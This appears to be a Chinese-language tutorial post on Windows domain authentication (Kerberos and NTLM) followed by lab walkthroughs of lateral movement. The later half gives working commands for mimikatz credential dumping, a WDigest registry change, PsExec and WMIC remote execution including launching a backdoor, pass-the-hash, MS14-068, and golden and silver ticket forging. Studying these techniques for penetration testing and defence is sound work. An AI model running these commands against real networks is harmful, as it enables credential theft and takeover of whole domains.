文章目录前言上一篇文章 内网渗透-Windows域环境的初识与搭建 介绍了 Windows 域环境的基础概念和域环境的搭建演示,通过前面的学习也了解到,Windows 系统在工作组上你一切的设置在本机上进行包括各种策略,用户登录也是登录在本机的,密码是放在本机的数据库来验证的。而如果你的计算机加入域的话,各种策略是域控制器统一设定,用户名和密码也是放到域控制器去验证,也就是说你的账号密码可以在同一域的任何一台计算机登录。 也就是说,Windows 用户登录到域中的时候,身份验证是采用 Kerberos 协议在域控制器上进行的,而登录到此计算机则是通过 SAM(本机安全账户数据库)来进行 NTLM 验证的。 Kerberos 协议在在内网域渗透领域中至关重要,白银票据、黄金票据、攻击域控等都离不开 Kerberos 协议。本文将学习记录下 Windows 域环境下的身份认证机制( Kerberos 协议认证 和 NTLM 认证)以及基于 Windows 身份认证机制引发的内网横向渗透相关的攻击思路。 Kerberos协议kerberos 协议是一种由 MIT (麻省理工大学) 提出的一种网络身份验证协议,它旨在通过使用加密技术为客户端 / 服务端应用程序提供强大的认证服务。Kerberos 一词来源于西方神话中守卫地狱之门的三头犬的名字,之所以使用这个名字是因为 Kerberos 需要三方的共同参与,才能完成一次事务处理。 Kerberos 协议主要用于计算机网络的身份鉴别(Authentication),其特点是用户只需输入一次身份验证信息就可以凭借此验证获得的票据(ticket-granting ticket)访问多个服务,即 SSO(single sign on)单点登录。在 Kerberos 认证中,最主要的问题是如何证明「你是你」的问题,如当一个 Client 去访问 Server 服务器上的某服务时,Server 如何判断 Client 是否有权限来访问自己主机上的服务,同时保证在这个过程中的通讯内容即使被拦截或篡改也不影响通讯的安全性,这正是 Kerberos 解决的问题。 了解 Kerberos 真实的认证过程之前我们先给出两个重要的概念: 1、长期密钥:在安全领域中,有的密钥可能长期内保持不变,比如密码,可能几年都不曾改变。这样的密钥以及由此派生的其他密钥被称为长期密钥。长期密钥有这样的原则:被长期密钥加密的数据不应该在网络上传输。因为任何加密算法都不可能做到绝对保密,一旦这些被长期密钥加密的数据包被黑客截获,在理论上,只要有充足的时间,都是可以通过计算获得用户用于加密的密钥的。 对于一个账户来说,密码仅限于该账户的所有者知晓,甚至对于管理员都应该是保密的。但是密码却又是证明身份的凭据,所以必须通过基于密码的派生信息来证明用户的真实身份,在这种情况下,一般将账户密码进行 Hash 运算得到一个 Hash 值,也可以称之为主密钥。由于 Hash 算法是不可逆的,同时可以保证密码和主密钥派生的确定性,这样既保证了密码的保密性,同时又保证主密钥和密码本身在证明用户身份时具有相同的效力。 2、短期密钥:由于被长期密钥加密的数据包不能在网络上传送,所以需要使用另一种密钥来加密需要进行网络传输的数据。这种密钥只在一段时间内有效,即使加密过的数据包被黑客截获,等他把密钥计算出来的时候,这个密钥早就已经过期了。我们把这种密钥称为短期密钥。 Kerberos 协议认证过程实际上就是在网络身份认证中使用了短期密钥来替代长期密钥(用户的账户密码),从而规避传输用户密码导致存在敏感信息被窃取的风险。 kerberos 认证框架 Kerberos 协议的认证框架和流程大致可用下图表示:
由简到繁地去梳理以上术语的关系:
下面深入讨论下在 Windows 域环境中 Kerberos 协议的认证流程,理解下 Kerberos 协议如何使用短期密码替代长期密码进行身份认证。 第1步-AS认证获取TGT客户端请求 Client 向 KDC 的 AS 发起认证请求,身份认证信息包含两部分:
服务端响应 服务端将生成并返回两部分信息:
此处需要注意两点:
AS 用 user_hash 加密 sessionkey-TGS,与 TGT 一起生成 REP 响应发送给客户端。客户端解密响应成功说明数据包是 KDC 发送来的,并且获得 sessionkey-TGS 以及 TGT,sessionkey-TGS 用于后续加密通信。 第2步-TGS认证获取ST通过第一步,客户端解密 AS 的响应后,可以得到一个 sessionkey-TGS 以及 TGT。 客户端请求 接下来用户想访问 Aservice 服务,于是向 TGS 请求访问 Aservice 的 ST。首先客户端会生成验证器 Authenticator,内容包含 user、client info、lifetime、timestamp 信息,并且用 sessionkey-TGS 加密。客户端将验证器、Aservice 信息、TGT 发送给 TGS 请求获取 ST。 服务端响应 TGS 收到客户端请求,会先利用 krbtgt hash 解密 TGT,获取到 sessionkey-TGS,user、client info 等信息,然后利用 sessionkey-TGS 解密验证器,校验验证器和 TGT 中的 user 信息,如果一致,则说明该请求符合 TGT 中声明的用户,该用户是通过 AS 认证的。接着 TGS 会生成 session key 以及 ST:
最后 TGS 将 sessionkey-TGS 加密后的 sessionkey-Aservice 以及 service_hash 加密的 ST 响应给客户端。 【注意】验证器 Authenticator 只能使用一次,是为了防止 TGT 被冒用。kerberos 设计之初,产生票据的概念就是为了避免重复的常规密码验证,因为票据在有效期内可以重复使用。为了避免冒用,设计出 session key 以及 Authenticator。session key 只有真正的客户端、服务知道,利用 session key 加密验证器,服务就可以解密对比验证器以及票据中声明的用户、客户端信息是否一致,一致说明票据来自可信客户端。 第3步-服务端服务认证通过第二步,Client 获取到 sessionkey-Aservice 以及 ST,接下来 Client 利用 sessionkey-Aservice 加密 Authenticator,连同 ST 去请求 Server 的 Aservice。Aservice 利用自己的 service_hash 解密 ST,获得 sessionkey-Aservice,再解密 Authenticator 验证 Client 声明的 user 信息,通过认证后 Aservice 还需要用 sessionkey-Aservice 加密一段信息返回给 Client,Client 利用 sessionkey-Aservice 解密成功说明 Aservice 用自己 service_hash 成功解密出了 sessionkey-Aservice,是可信服务端。
NTLM 认证NTLM 认证采用质询 / 应答 (Challenge/Response) 的消息交换模式。NTLM 既可用于域环境下的身份认证,也可以用于没有域的工作组环境。主要有本地认证和网络认证两种方式。 本地认证模式用户登陆 Windows 时,Windows 首先会调用 winlogon.exe 进程接收用户输入的密码,之后密码会被传递给 lsass.exe 进程,进程会先在内存中存储一份明文密码,并将密码加密为 NTLM hash,与本地 SAM 数据库中用户的 NTLM hash 对比,一致则登陆成功。 网络认证模式如下为 NTLM 域环境中网络认证流程。 第一步:首先用户输入正确用户密码登陆到客户端主机,用户想要访问某个服务器的服务,客户端先发送一个包含用户名明文的数据包给服务器,发起认证请求。 内网横向渗透以 Kerberos 认证为代表的 Windows 身份认证系统并不是天衣无缝的,这其中也会有各种漏洞能够被我们利用,比如我们常说的 MS14-068、黄金票据、白银票据等就是基于 Kerberos 协议进行攻击的。下面我们便来大致介绍一下 Kerberos 认证中的相关安全问题,以及如何利用对应的安全问题进行内网横向渗透。 哈希凭证窃取Windows 系统下的用户密码 hash 通常指的是 Security Account Manager 中保存的用户密码 Hash,也就是 SAM 文件中的 Hash。而在 Windows 域环境中,用户信息存储在 ntds.dit 中,加密后为散列值。 Windows 操作系统中的密码一般由两部分组成,一部分为 LM Hash,另一部分为 NTLM Hash。
要想在 Windows 操作系统中抓取散列值或明文密码,必须将权限升级至 System。窃取凭据来帮助在域内横向移动,一旦获取的密码在内网中是通用的,将会方便横向移动获取目标权限。 Mimikatz工具 Mimikatz 是一款 Windows 平台下的神器,它具备很多功能,其中最亮眼的功能是直接从 lsass.exe 进程里获取 Windows 处于 active 状态账号的明文密码。
Mimikatz 读取明文密码和 hash 需要管理员权限,需要执行的命令是: privilege::debug //提升至debug权限 sekurlsa::logonpasswords //抓取密码 简单的读取效果如下: reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f 哈希窃取场景 下面分析下如何从几种不同的场景中读取(窃取)Windows 系统用户密码的哈希值。 1、从内存直接 dump 出 hash 如下在 cmd 运行 mimikatz.exe,在 mimikatz 会话中执行 2、从 SAM 中的读取 hash 先导出 sam,mimikatz 读取 (本地用户 ate/Aa123456): 3、从域控中的 NTDS.dit 读取 hash 如下,读取 testdomain\test1 账户的密码 Aa123456 的 hash。域中先利用 ntdsutil 导出 NTDS.dit,SYSTEM 和 SECURITY 文件。 内网远程连接在渗透测试中,拿到目标机器的用户明文密码或者 NTLM Hash 后,可以用 Windows 自带的方法对远程目标系统进行命令行下的连接操作,连接远程主机并执行相关命令;也可以通过 哈希传递攻击 PTH 的方法,将散列值或明文密码传递到目标机器中进行验证,先来介绍下前者。 建立IPC连接IPC$ (Internet Process Connection) 是 NT2000 的一项新功能,IPC 可以通过验证用户名和密码获得相应的权限,通常在远程管理计算机和查看计算机的共享资源时使用。通过 IPC$,可以与目标主机建立连接,利用这个连接,不仅可以访问目标机器中的文件,进行上传、下载等操作,还可以在目标机器上运行其他命令,以获取目标机器的目录结构、用户列表等信息。 建立 IPC$ 连接的两个条件:
IPC 连接的命令: net use \\<DC的IP>\ipc$ "password" /user:"username" net use \\192.168.183.130\ipc$ "Liu78963" /user:"administrator" net user //查看当前主机所建立的连接 1、如下图,我们成功让 Win7 与 DC 建立 IPC 连接: copy C:\Users\douser\Desktop\whoami.txt \\192.168.183.130\c$ 效果如下: PsExec 连接PsExec 是一个轻量级的 telnet 替代品,它允许您在其他系统上执行进程,并为控制台应用程序提供完整的交互性,psexec下载地址。它是 Windows 下非常好的一款远程命令行工具,其使用不需要对方主机开方 3389 端口,只需要对方开启 admin$ 共享 (该共享默认开启)。但是,假如目标主机开启了防火墙,psexec 也是不能使用的,会提示找不到网络路径。由于 PsExec 是 Windows 提供的工具,所以杀毒软件将其列在白名单中。 PsExec的基本原理:
PsExec的使用前提:
通过以下命令可返回一个交互 Shell: psexec.exe -accepteula \\10.1.1.1 -u administrator -p abc123! -s cmd.exe 解释下命令参数:
1、执行如上命令后,我们就可以获的目标主机 DC 的 System 权限的Shell: WMI远程连接WMI(Windows Management Instrumentation,Windows管理规范)是一项核心的 Windows 管理技术,用户可以使用 WMI 管理本地和远程计算机。从 Windows 98 开始,Windows 操作系统都支持 WMI。 WMI 通过使用端口 135上 的远程过程调用 (RPC) 进行通信以进行远程访问(以及以后的临时端口), 它允许系统管理员远程执行自动化管理任务,例如远程启动服务或执行命令。因此使用 WMIC 连接远程主机,需要目标主机开放 135 和 445 端口(135 端⼝是 WMIC 默认的管理端⼝,而 wimcexec 使⽤445端⼝传回显)。
1、用 WMIC 命令可以开启远程计算机的远程桌面连接: wmic /node:192.168.183.130 /USER:administrator PATH win32_terminalservicesetting WHERE (__Class!="") CALL SetAllowTSConnections 1// wmic /node:"[full machine name]" /USER:"[domain]\[username]" PATH win32_terminalservicesetting WHERE (__Class!="") CALL SetAllowTSConnections 1 2、用 WMIC 命令可以查询远程进程信息: wmic /node:192.168.183.130 /user:administrator /password:Liu78963 process list brief 如下图所示: wmic /node:192.168.183.130 /user:administrator /password:Liu78963 process call create "cmd.exe /c ipconfig > C:\result.txt"wmic /node:192.168.183.130 /user:administrator /password:Liu78963 process call create "cmd.exe /c <命令> > C:\result.txt"wmic /node:192.168.183.130 /user:administrator /password:Liu78963 process call create "目录\backdoor.exe" 这里如果我预先与目标主机建立了 ipc$ 连接,所以就不需要在 wmic 指定 /user 和 /password 了。然后,由于 wmic 执行远程命令没有回显,所以在建立 ipc$ 连接后,使用 type 命令远程读取 192.168.52.138 上的执行结果: 哈希传递攻击在 kerberos、NTLM 认证过程的关键,首先就是基于用户密码 Hash 的加密,所以在域渗透中,无法破解用户密码 Hash 的情况下,也可以直接利用 Hash 来完成认证,达到攻击的目的,这就是 hash 传递攻击(Pass The Hash,简称 PTH)。如果内网主机的本地管理员账户密码相同,那么可以通过 PTH 远程登录到任意一台主机,操作简单、威力无穷。 在域环境中,利用哈希传递攻击的渗透方式往往是这样的:
使用 Mimikatz 进行 PTH 1、首先攻击者在跳板机 Windows 7 上面上传 mimikatz,并用 mimikatz 抓取 Hash: privilege::debug sekurlsa::logonpasswords 执行结果如图: privilege::debug sekurlsa::pth /user:administrator /domain:workgroup /ntlm:4d6e43b2cdc951808100f5b1d09aac63 执行结果如果: 使用 Metasploit 进行 PTH 1、在 Metasploit 中,经常使用的模块有: auxiliary/admin/smb/psexec_command //在目标机器上执行系统命令 exploit/windows/smb/psexec //用psexec执行系统命令 exploit/windows/smb/psexec_psh //使用powershell作为payload 2、以 use exploit/windows/smb/psexec set rhosts 192.168.52.141 set smbuser administrator set smbpass 00000000000000000000000000000000:4d6e43b2cdc951808100f5b1d09aac63 set smbdomain god run 具体操作如图: 票据传递攻击上面我们所讲的哈希传递攻击 PTH 是适用于 NTLM 认证和 Kerberos协 议认证的,而接下来我们要讲的票据传递攻击 PTT 是基于 Kerberos 协议进行攻击的,Kerberos 协议在文章的开头已经讲过了,请务必细细理解其中的奥妙! 我们在渗透测试中,要使用哈希传递攻击,则必须要获取目标机器的管理员权限,如果没有管理员权限,我们不妨用用 PTT。在票据传递攻击(PTT)中,我们常用的有 MS14-068、黄金票据、白银票据。其中 MS14-068 可用来横向获取域内主机权限,黄金票据、白银票据则可以用来对域控进行权限维持。 MS14-068MS14-068 漏洞允许攻击者将未经授权的域用户帐户的权限,提升到域管理员帐户的权限(微软官方 MS14-068 的漏洞公告)。攻击者必须有有效的域凭据才能利用此漏洞,拥有域凭据的标准用户帐户可以远程使用受影响的组件,只有本地帐户凭据的用户则不能。 漏洞利用原理 通过身份验证的域用户可以向 Kerberos KDC 发出伪造的 Kerberos 票证,声称该用户就是域管理员。Kerberos KDC 在处理来自攻击者的请求时,会不恰当地验证伪造的票证签名,从而让攻击者能利用域管理员的身份来访问网络上的任何资源。 漏洞利用前提
漏洞复现演示 实验环境如下: 域控制器(DC) windows 2008 R2 st13.com 192.168.10.146 域内机器 windows 7 192.168.10.129 Ms14-068.exe 下载地址:https://github.com/abatchy17/WindowsExploits/tree/master/MS14-068 PSexec下载地址:https://github.com/crupper/Forensics-Tool-Wiki/blob/master/windowsTools/PsExec64.exe 1、首先在域控主机检测是否有 MS14-068 这个漏洞:通过执行 MS14-068.exe -u <userName>@<domainName> -p <clearPassword> -s <userSid> -d <domainControlerAddr> 如下图所示: 黄金票据在 Windows 的 kerberos 认证过程中,Client 将自己的信息发送给 KDC,然后 KDC 使用 Krbtgt 用户的 NTLM-Hash 作为密钥进行加密,生成 TGT。那么如果获取到了 Krbtgt 的 NTLM-Hash 值,不就可以伪造任意的 TGT 了吗?因此使用 krbtgt 用户 Hash 生成的票据被称为黄金票据(Golden Ticket),此类攻击方法被称为票据传递攻击。 因为 Krbtgt 只有域控制器上面才有,所以使用黄金凭据意味着你之前拿到过域控制器的权限,黄金凭据可以理解为一个后门。先假设这么一种情况,原先已拿到的域内所有的账户 Hash,包括 Krbtgt 这个账户,由于有些原因导致你对域管权限丢失,但好在你还有一个普通域用户权限,碰巧管理员在域内加固时忘记重置 Krbtgt 密码,基于此条件,我们还能利用该票据重新获得域管理员权限。利用 Krbtgt 的 Hash 值可以伪造生成任意的 TGT,能够绕过对任意用户的账号策略,让用户成为任意组的成员,可用于 Kerberos 认证的任何服务。 攻击者再使用黄金票据进行票据传递攻击时,通常要掌握以下信息:
下面演示的案例基于以下网络拓扑: 域成员主机:Windows 7(192.168.183.131) 域名:DEMO.com 用户名:douser 域控制器:192.168.183.130 域名:DEMO.com 用户名:administrator 1、首先我们登上域控,上传 mimikatz,然后执行如下命令抓取 krbtgt 用户的 Hash 值并获取域 SID 信息: privilege::debug lsadump::lsa /patch 结果如下(得到 krbtgt 用户的 Hash为: 2、然后我们切换到普通域用户的机器 Windows7,用 mimikatz 生成名为 ticket.kirbi 的 TGT 凭证,用户名为 administrator: kerberos::golden /user:administrator /domain:DEMO.com /sid:S-1-5-21-979886063-1111900045-1414766810 /krbtgt:7c4ed692473d4b4344c3ba01c5e6cb63 /ticket:ticket.kirbi kerberos::golden /user:需要伪造的域管理员用户名 /domain:demo.com /sid:域sid /krbtgt: krbtgt用户的Hash /ticket:ticket.kirbi 如下图所示: kerberos::ptt ticket.kirbi kerberos::ptt <票据文件> 如下图所示: 白银票据白银票据 (Silver Tickets) 是指伪造的服务票据 (ST),只能用来访问特定的服务,通过 Kerberos 的认证原理得知 ST 是由 TGS 颁发的,使用了服务的密码 hash 加密,所以在伪造银票的时候需要知道服务的密码 Hash。因为在票据生成过程中不需要使用 KDC,所以可以绕过域控制器,很少留下日志。而黄金票据在利用过程中由 KDC 颁发 TGT,并且在生成伪造的 TGT 得 20 分钟内,TGS 不会对该 TGT 的真伪进行效验。白银票据依赖于服务账号的密码散列值,这不同于黄金票据利用需要使用 Krbtgt 账号的密码哈希值,因此更加隐蔽。 攻击者要利用白银票据进行票据传递攻击,需要掌握下面几个信息: 域名 域 SID 目标服务器的 FQDN 可利用的服务 服务账号的 NTLM Hash 要伪造的用户名 下面我们使用白银票据伪造 CIFS 服务权限,CIFS 服务通常用于 Windows 主机之间的文件共享。 1、首先,登录域控,抓取机器账号的 Hash: privilege::debug sekurlsa::logonpasswords 执行结果如下: kerberos::golden /domain:DEMO.com /sid:S-1-5-21-979886063-1111900045-1414766810 /target:WIN-ENS2VR5TR3N.DEMO.com /rc4:f0954d00b21d338aa86051eca90f7f74 /service:cifs /user:douser /ptt 参数释义:
执行结果如下: dir \\WIN-ENS2VR5TR3N.demo.com\c$ // 机器名要全称,注意是全称 如下,发现已经可以访问域控制器的共享目录了: 总结概括下一个域渗透的思路: 一个具有一定规模的企业,每天都可能面临员工入职和离职,因此网络管理部门经常需要对域成员主机进行格式化消除磁盘的文件,然后重装系统及软件,以提供给新员工使用;因此,为了便于后期交接,大多网络管理员会做好一个系统镜像盘,统一安装所有的电脑,并且在安装的时候设置惯用、甚至统一的密码。 因此,域中的计算机本地管理员账号,极有可能能够登陆域中较多的计算机,本地管理员的密码在服务器上后期修改的概率,远低于在个人办公电脑上的概率,而域用户权限是较低的,是无法在域成员主机上安装软件的,这将会发生下面的一幕: 某个域用户需要使用 viso 软件进行绘图操作,于是联系网络管理员进行安装,网络管理员采用域管理员身份登录了域成员主机,并帮助其安装了 viso 软件,于是这个有计算机基础的员工,切换身份登录到了本地计算机的管理员,后执行 mimikatz,从内存当中抓取了域管理员的密码,便成功的控制了整个域。 因此,域渗透的思路就是:通过域成员主机,定位出域控制器 IP 及域管理员账号,利用域成员主机作为跳板,扩大渗透范围,利用域管理员可以登陆域中任何成员主机的特性,定位出域管理员登陆过的主机 IP,设法从域成员主机内存中 dump 出域管理员密码,进而拿下域控制器、渗透整个内网。 本文参考文章: |
|
来自: 昵称68533005 > 《文件夹1》